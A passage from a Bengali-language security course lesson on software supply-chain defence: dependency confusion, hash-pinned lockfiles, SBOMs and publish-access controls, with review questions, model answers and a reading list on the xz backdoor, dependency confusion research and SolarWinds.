যুক্তি
Dependency-confusion fix উত্তর দেয় “কোন উৎস (registry) থেকে প্যাকেজ আনা উচিত” — এটা resolution-time প্রশ্ন। Hash pinning উত্তর দেয় “সেই সঠিক উৎস থেকে আনা প্যাকেজের বাইট সত্যিই সেটাই কিনা যা আগে review হয়েছিল” — এটা integrity-verification প্রশ্ন, সঠিক উৎস থেকে আসার পরেও প্রযোজ্য (যেমন সেই registry-account নিজেই compromise হলে, ঠিক xz-utils-এর মতো)। সঠিক উৎস বাছাই করেও যদি সেই উৎসই দুর্বৃত্তায়িত হয়, hash-pinning ছাড়া কোনো সুরক্ষা নেই — তাই দুইটা আলাদা আক্রমণ-শ্রেণি ঠেকায়, একটা আরেকটার substitute না।
5Misconception অংশে বলা হয়েছে lockfile নিজে compromised অবস্থায়
generate হলে সেই ভুলটাই “চিরস্থায়ী” করে ফেলে। একটা নতুন প্রজেক্ট শুরু
করার সময় dependency confusion-এর ঝুঁকি সবচেয়ে বেশি থাকে কোন মুহূর্তে,
আর কেন?
প্রয়োগ
সবচেয়ে বেশি ঝুঁকি প্রথম install/lockfile-generation-এর মুহূর্তে —
তখনো কোনো hash pin করা নেই, resolver পুরোপুরি তার resolution-logic-এর
(naive হলে, নাম+version-এর) ওপর নির্ভর করছে। একবার একটা malicious
package resolve হয়ে lockfile-এ hash সহ লিখে ফেললে, পরবর্তী প্রতিটা
install সেই compromised hash-কেই “সঠিক” বলে মেনে নেবে — lockfile এরপর
থেকে ভুলটাকেই রক্ষা করবে, ধরবে না। তাই resolver-level fix (source
authority) সবসময় hash-pinning-এর আগে সঠিক হওয়া দরকার।
6আপনি একটা নতুন internal package acme-payments-sdk তৈরি করছেন, যেটা
পরে কোম্পানির ৫০+ সার্ভিসে dependency হিসেবে ব্যবহৃত হবে। Deploy করার
আগে কোন চারটা নির্দিষ্ট mitigation (আজকের লেসন থেকে) সবচেয়ে বেশি
অগ্রাধিকার পাবে বলে মনে করেন, আর কেন এই ক্রমে?
ডিজাইন
acme-payments-sdk তৈরি করছেন, যেটা
পরে কোম্পানির ৫০+ সার্ভিসে dependency হিসেবে ব্যবহৃত হবে। Deploy করার
আগে কোন চারটা নির্দিষ্ট mitigation (আজকের লেসন থেকে) সবচেয়ে বেশি
অগ্রাধিকার পাবে বলে মনে করেন, আর কেন এই ক্রমে?প্রথমে namespace/source-scoping নিশ্চিত করা (dependency-confusion resolver-fix) — কারণ এটা সবচেয়ে সস্তা, একবার-সেট-করলে-স্থায়ী, আর কোনো social-engineering ছাড়াই আক্রমণ সম্ভব করে দেয় এই bug থাকলে। দ্বিতীয়ত hash-pinned lockfile চালু করা প্রতিটা consuming সার্ভিসে — ৫০+ সার্ভিসে একটাই compromised update ছড়িয়ে পড়ার ঝুঁকি (blast radius) এখানে xz-utils/SolarWinds-এর স্কেলের সাথে সরাসরি তুলনীয়। তৃতীয়ত SBOM বজায় রাখা — ৫০+ downstream consumer থাকলে “কে কোন version ব্যবহার করছে” প্রশ্নের দ্রুত উত্তর জরুরি হয়ে ওঠে ইনসিডেন্টের সময়। চতুর্থত, maintainer/publish-access-এ কঠোর নিয়ন্ত্রণ (কম মানুষের কাছে publish-ক্ষমতা, বাধ্যতামূলক ২FA) — এটাই সরাসরি xz-utils-এর social-engineering ভেক্টর বন্ধ করে, দীর্ঘমেয়াদে সবচেয়ে বেশি দরকারি কিন্তু প্রথম তিনটার তুলনায় প্রয়োগ করতে বেশি সাংগঠনিক সময় লাগে।
এরপর কী
এরপর কী
আজকের লেসন module-এর একটা নতুন axis খুলে দিল: security শুধু “আপনার কোড কী করে” প্রশ্ন না, “আপনার কোড কাকে বিশ্বাস করে” প্রশ্নও — আর সেই বিশ্বাসের চেইন যত দীর্ঘ, ততই সেটা attacker-দের জন্য আকর্ষণীয় টার্গেট।
এই দিয়ে module-এর পুরো স্প্যান একসাথে কভার হয়ে গেল: crypto-র ভিত্তি (hash, encryption, signature), memory safety (buffer overflow, use-after-free), application-স্তরের bug (injection, XSS/CSRF/SSRF), hardware side-channel-ঘেঁষা mitigation (ASLR, CFI), আর আজ — নিজের কোডের নিচে বসে থাকা পুরো dependency স্তর। মডিউলের শেষ লেসন এই সবকিছুকে একসাথে বেঁধে একটা practical দক্ষতায় রূপান্তর করে: secure code review। কীভাবে একটা pull request-এর সামনে বসে, এই পুরো checklist — STRIDE-এর ছয় প্রশ্ন থেকে শুরু করে “এই নতুন dependency-টা কি সত্যিই দরকার” পর্যন্ত — মাথায় রেখে আসলেই কোড পড়া যায়, সেটাই পরের ও শেষ লেসনের বিষয়।
আরও পড়ুন
- backdoor in upstream xz/liblzma leading to ssh server compromise — Andres Freund — oss-security mailing list (Openwall), মার্চ ২৯, ২০২৪ · মূল আবিষ্কার-পোস্ট — একটা SSH latency regression খুঁজতে গিয়ে পুরো backdoor উন্মোচিত হয়, এই লেসনের case-study-র প্রাথমিক উৎস
- CVE-2024-3094 Detail — National Vulnerability Database (NIST) · আনুষ্ঠানিক vulnerability রেকর্ড — severity, affected version range, ও timeline-এর প্রামাণ্য সূত্র
- Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies — Alex Birsan — Medium, ফেব্রুয়ারি ২০২১ · Dependency confusion আক্রমণ-শ্রেণির মূল গবেষণা — নিজের toy resolver-এর ভিত্তি এই লেখাতেই বর্ণিত মেকানিজম থেকে নেওয়া
- Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor — Mandiant (FireEye) Threat Intelligence, ডিসেম্বর ২০২০; CISA Advisory AA20-352A · SolarWinds/SUNBURST-এর মূল টেকনিক্যাল বিশ্লেষণ — trusted build pipeline-এ malicious code inject করার ক্লাসিক কেস